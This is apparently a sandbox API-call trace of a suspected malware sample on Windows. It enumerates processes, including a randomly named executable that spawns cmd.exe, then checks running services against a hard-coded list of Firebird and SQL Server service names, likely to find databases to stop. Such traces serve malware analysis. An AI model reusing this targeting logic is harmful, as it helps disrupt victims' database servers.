	[0164.118] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0164.119] lstrlenW (lpString="audiodg.exe") returned 11
	[0164.119] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0164.119] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0164.119] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0164.120] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0164.120] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0164.120] lstrlenW (lpString="Memory Compression") returned 18
	[0164.120] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0164.121] lstrlenW (lpString="sihost.exe") returned 10
	[0164.121] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.121] lstrlenW (lpString="svchost.exe") returned 11
	[0164.121] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0164.121] lstrlenW (lpString="taskhostw.exe") returned 13
	[0164.121] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0164.122] lstrlenW (lpString="taskhostw.exe") returned 13
	[0164.122] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0164.122] lstrlenW (lpString="explorer.exe") returned 12
	[0164.122] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0164.123] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0164.123] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0164.123] lstrlenW (lpString="SearchUI.exe") returned 12
	[0164.123] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0164.123] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0164.124] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0164.124] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0164.124] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0164.124] lstrlenW (lpString="fvppjh.exe") returned 10
	[0164.124] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0164.125] lstrlenW (lpString="cmd.exe") returned 7
	[0164.125] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0164.125] lstrlenW (lpString="conhost.exe") returned 11
	[0164.125] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0164.126] lstrlenW (lpString="mode.com") returned 8
	[0164.126] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0164.126] CloseHandle (hObject=0x534) returned 1
	[0164.126] Sleep (dwMilliseconds=0x1f4) 
	[0164.774] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0520
	[0164.836] EnumServicesStatusExW (in: hSCManager=0x41c0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0164.837] GetLastError () returned 0xea
	[0164.837] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0164.838] EnumServicesStatusExW (in: hSCManager=0x41c0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0164.839] CloseServiceHandle (hSCObject=0x41c0520) returned 1
	[0164.839] lstrlenW (lpString="Appinfo") returned 7
	[0164.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0164.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0164.839] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0164.839] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0164.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0164.839] lstrlenW (lpString="AppXSvc") returned 7
	[0164.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0164.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0164.839] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0164.839] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0164.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0164.839] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0164.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0164.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0164.839] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0164.839] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0164.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0164.839] lstrlenW (lpString="Audiosrv") returned 8
	[0164.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0164.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0164.839] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0164.839] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0164.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0164.840] lstrlenW (lpString="BFE") returned 3
	[0164.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0164.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0164.840] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0164.840] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0164.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0164.840] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0164.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0164.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0164.840] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0164.840] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0164.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0164.840] lstrlenW (lpString="CDPSvc") returned 6
	[0164.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0164.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0164.840] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0164.840] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0164.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0164.840] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0164.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0164.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0164.840] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0164.840] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0164.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0164.840] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0164.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0164.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0164.840] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0164.840] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0164.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0164.840] lstrlenW (lpString="CryptSvc") returned 8
	[0164.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0164.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0164.841] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0164.841] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0164.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0164.841] lstrlenW (lpString="DcomLaunch") returned 10
	[0164.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0164.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0164.841] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0164.841] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0164.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0164.841] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0164.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0164.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0164.841] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0164.841] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0164.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0164.841] lstrlenW (lpString="Dhcp") returned 4
	[0164.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0164.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0164.841] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0164.841] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0164.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0164.841] lstrlenW (lpString="Dnscache") returned 8
	[0164.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0164.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0164.841] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0164.841] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0164.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0164.841] lstrlenW (lpString="DPS") returned 3
	[0164.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0164.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0164.841] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0164.841] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0164.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0164.841] lstrlenW (lpString="DusmSvc") returned 7
	[0164.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0164.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0164.842] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0164.842] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0164.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0164.842] lstrlenW (lpString="EventLog") returned 8
	[0164.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0164.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0164.842] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0164.842] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0164.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0164.842] lstrlenW (lpString="EventSystem") returned 11
	[0164.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0164.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0164.842] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0164.842] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0164.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0164.842] lstrlenW (lpString="FontCache") returned 9
	[0164.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0164.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0164.842] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0164.842] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0164.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0164.842] lstrlenW (lpString="gpsvc") returned 5
	[0164.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0164.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0164.842] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0164.842] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0164.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0164.842] lstrlenW (lpString="iphlpsvc") returned 8
	[0164.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0164.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0164.842] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0164.842] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0164.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0164.843] lstrlenW (lpString="KeyIso") returned 6
	[0164.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0164.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0164.843] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0164.843] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0164.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0164.843] lstrlenW (lpString="LanmanServer") returned 12
	[0164.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0164.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0164.843] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0164.843] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0164.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0164.843] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0164.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0164.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0164.843] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0164.843] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0164.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0164.843] lstrlenW (lpString="lfsvc") returned 5
	[0164.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0164.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0164.843] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0164.843] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0164.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0164.843] lstrlenW (lpString="lmhosts") returned 7
	[0164.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0164.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0164.843] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0164.843] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0164.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0164.843] lstrlenW (lpString="LSM") returned 3
	[0164.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0164.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0164.844] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0164.844] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0164.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0164.844] lstrlenW (lpString="MpsSvc") returned 6
	[0164.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0164.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0164.844] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0164.844] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0164.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0164.844] lstrlenW (lpString="NcbService") returned 10
	[0164.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0164.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0164.844] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0164.844] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0164.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0164.844] lstrlenW (lpString="netprofm") returned 8
	[0164.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0164.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0164.844] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0164.844] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0164.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0164.844] lstrlenW (lpString="NgcSvc") returned 6
	[0164.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0164.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0164.844] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0164.844] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0164.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0164.844] lstrlenW (lpString="NlaSvc") returned 6
	[0164.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0164.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0164.844] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0164.844] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0164.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0164.845] lstrlenW (lpString="nsi") returned 3
	[0164.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0164.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0164.845] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0164.845] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0164.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0164.845] lstrlenW (lpString="PcaSvc") returned 6
	[0164.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0164.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0164.845] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0164.845] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0164.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0164.845] lstrlenW (lpString="PlugPlay") returned 8
	[0164.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0164.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0164.845] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0164.845] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0164.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0164.845] lstrlenW (lpString="Power") returned 5
	[0164.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0164.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0164.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0164.845] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0164.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0164.845] lstrlenW (lpString="ProfSvc") returned 7
	[0164.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0164.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0164.845] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0164.845] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0164.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0164.845] lstrlenW (lpString="RpcEptMapper") returned 12
	[0164.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0164.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0164.846] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0164.846] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0164.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0164.846] lstrlenW (lpString="RpcSs") returned 5
